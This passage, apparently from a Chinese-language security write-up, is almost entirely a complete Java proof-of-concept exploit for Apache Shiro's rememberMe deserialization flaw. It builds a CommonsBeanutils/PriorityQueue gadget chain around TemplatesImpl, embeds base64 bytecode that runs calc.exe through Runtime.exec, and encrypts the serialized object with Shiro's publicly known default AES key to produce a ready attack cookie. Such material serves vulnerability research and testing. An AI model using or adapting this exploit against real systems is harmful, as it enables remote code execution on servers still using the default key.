这里调用的是java.lang.String$CaseInsensitiveComparator.compare方法,而该方法接受的是两个字符串,修改poc:
queue.add("1");
queue.add("1");
最终POC:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.util.Comparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","B1uel0n3");
setValue(templates,"_class",null);
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2,beanComparator);
queue.add("1");
queue.add("1");
setValue(beanComparator,"property","outputProperties");
Object[] queueArray=(Object[]) getValue(queue,"queue");
queueArray[0]=templates;
queueArray[1]=1;
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getValue(Object obj, String filedname) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
return field.get(obj);
}
}